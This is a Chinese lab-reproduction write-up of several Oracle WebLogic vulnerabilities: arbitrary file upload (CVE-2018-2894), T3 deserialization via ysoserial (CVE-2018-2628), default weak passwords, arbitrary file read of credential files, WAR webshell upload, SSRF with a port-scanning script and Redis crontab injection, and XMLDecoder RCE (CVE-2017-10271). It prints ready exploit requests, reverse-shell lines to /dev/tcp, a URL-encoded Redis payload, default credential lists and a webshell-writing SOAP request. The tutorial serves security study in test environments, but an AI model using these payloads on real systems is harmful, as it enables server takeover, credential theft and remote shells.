Weblogic多个漏洞复现 – 作者:DeceaseWolf

WebLogic两处任意文件上传漏洞(CVE-2018-2894)

涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

漏洞地址

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。

/ws_utc/config.do
/ws_utc/begin.do

漏洞复现

1、访问/ws_utc/config.do,修改当前的工作目录为其他目录。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2、点击左侧”安全”菜单,添加Keystore,设置默认名字和密码。

图片[1]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科
图片[2]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

3、检查时间戳
图片[3]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

4、上传后的shell位于工作台配置的目录下的/config/keystore中,文件名格式采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名。

图片[4]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

 

Weblogic T3反序列化漏洞(CVE-2018-2628)

漏洞描述

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

漏洞版本:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

基本原理:

序列化:简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。

JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)

打个比喻就是相当于你在网上买个玩具房子,他不可能直接快递给你邮个房子,先把房子拆开邮走(序列化),然后收到时在拼装成一个房子(反序列化)。在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。

漏洞复现

1、快速检测,可利用nmap –script=weblogic-t3-infi.nse或者其他检测工具。
如果目标开启了T3协议就会在扫描中显示。
图片[5]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

2、使用CVE-2018-2628检测工具进行检测

图片[6]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

3、确认目标存在Weblogic T3反序列化后,在Ubuntu主机上运行JRMPListerner并开启端口监听。使得触发漏洞后Weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。

4、命令执行的格式:

java -cp ysoserial-\<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\<listen port>\ <gadget class>\<command>

在Ubuntu主机上监听一个端口,这样目的主机上的Weblogic进行远程方法调用时,可以连接到Ubuntu主机。<command>是执行的命令,windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。
图片[7]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。

在Ubuntu主机上新打开一个终端,同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。

命令执行的格式:

java -jar ysoserial-\<version>-cve-2018-2628-all.jar JRMPClient2 \<JRMPListener IP>:\<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

图片[8]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。
图片[9]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科
 
更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址192.168.10.129。当然端口也可以自定义。
图片[10]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。

图片[11]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

另一边观察Ubuntu主机发现触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。
图片[12]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

 

 

WebLogic Weak Password复现

环境

基于vulhub的weblogic弱口令漏洞和任意文件读取漏洞

弱口令

本环境存在弱口令

用户名:weblogic
密码:Oracle@123

weblogic常见的弱口令组合

1.  Oracle - WebLogic
User ID system
Password password


2.  Oracle - WebLogic
User ID weblogic
Password weblogic


3.  Oracle - WebLogic
User ID weblogic
Password weblogic


4.  Oracle - WebLogic Process Integrator
User ID admin
Password security


5.  Oracle - WebLogic Process Integrator
User ID joe
Password password


6.  Oracle - WebLogic Process Integrator
User ID mary
Password password


7.  Oracle - WebLogic Process Integrator
User ID system
Password security


8.  Oracle - WebLogic Process Integrator
User ID wlcsystem
Password wlcsystem


9.  Oracle - WebLogic Process Integrator
User ID wlpisystem
Password wlpisystem

获取到账号和密码之后,我们可以进入到后台去上传war的web应用程序和木马获得权限

任意文件读取

路径

/hello/file.jsp?path=/etc/passwd

访问路径,可下载读取任意文件
图片[13]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

接下来如何更深入的利用任意文件读取。

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。
图片[14]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科
在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:

/hello/file.jsp?path=security/SerializedSystemIni.dat

图片[15]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:

/hello/file.jsp?path=config/config.xml

图片[16]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

解密可以参考重剑无锋大佬文章。

https://www.freebuf.com/articles/web/220147.html

图片[17]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

后台上传shell

war简介

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了。
简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

war打包

linux下把文件打包成war的压缩包,命令如下

 

jar -cvf blog.war *

查看example.war

jar -tf blog.war

也可以先把文件压缩成zip,再改后缀名为war

部署war文件

使用刚刚获取到的密码进行登录。
图片[18]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

进行安装war包
图片[19]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

选择上载文件
图片[20]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

其他均可默认
图片[21]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

访问

http://172.23.0.2:7001/shell/shell.jsp

图片[22]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

 

 

 

Weblogic-SSRF漏洞复现

服务端请求伪造(Server-Side Request Forgery)是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。

攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,所以SSRF的一大利用是探测内网端口开放信息。(所以SSRF归类为信息泄漏类型)

漏洞出现位置与解决方法:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。

所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了

我们这里采用的是改后辍的方式,修复步骤如下:

1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份

2.将weblogic安装目录下的server/lib/uddiexplorer.war下载

3.用winrar等工具打开uddiexplorer.war

4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx

5.保存后上传回服务端替换原先的uddiexplorer.war

6.对于多台主机组成的集群,针对每台主机都要做这样的操作

7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用)

漏洞复现

1、访问地址,查看是否存在

http://172.21.0.3:7001/uddiexplorer/

2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

图片[23]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

3、使用Burpsuite测试,因为访问的是内网IP,按道理来说应该是拒绝访问的。

图片[24]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

4、访问存在的端口时,比如http://127.0.0.1,可访问的端口将回显错误,一般返回内容为status code,如果访问的是非http协议的话,则返回did not have a valid SOAP content-type
图片[25]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

5、访问不存在的端口时,将返回could not connect HTTP server

图片[26]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

6、可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,

而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是

docker的网段(docker环境的网段一般是172.*):

使用脚本进行探测:

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.21.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

 

运行后得到:
图片[27]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

发现存在6379端口,开放redis服务。

通过发送三条redis命令,将反弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意:换行符是”\r\n”,也就是”%0D%0A”)

 

%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61

把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后
图片[28]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科
使用nc -lvnp 21进行监听,反弹shell。
图片[29]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

可利用的cron:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

 

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞描述:

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。

受影响WebLogic版本:

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

环境搭建

使用vulhub项目

获取docker

实验过程

1、访问地址

http://192.168.137.130:7001/

图片[30]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

2、判断是否存在漏洞

http://192.168.137.130:7001/wls-wsat/CoordinatorPortType11

若存在图中所示,即说明可能存在。
图片[31]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

3、使用nc监听端口,构造POST数据包进行测试,反弹shell。

nc -l -p 21

发送数据包(其中反弹shell的语句,需要进行编码,否则解析XML时将出现格式错误)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.137.130/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

图片[32]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

成功反弹shell,获取root权限
图片[33]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

4、写入一句话木马

构造POST数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: you-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> 
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

图片[34]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

访问test.jsp

http://192.168.137.130:7001/bea_wls_internal/test.jsp

图片[35]-Weblogic多个漏洞复现 – 作者:DeceaseWolf-安全小百科

来源:freebuf.com 2020-07-21 09:35:53 by: DeceaseWolf

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论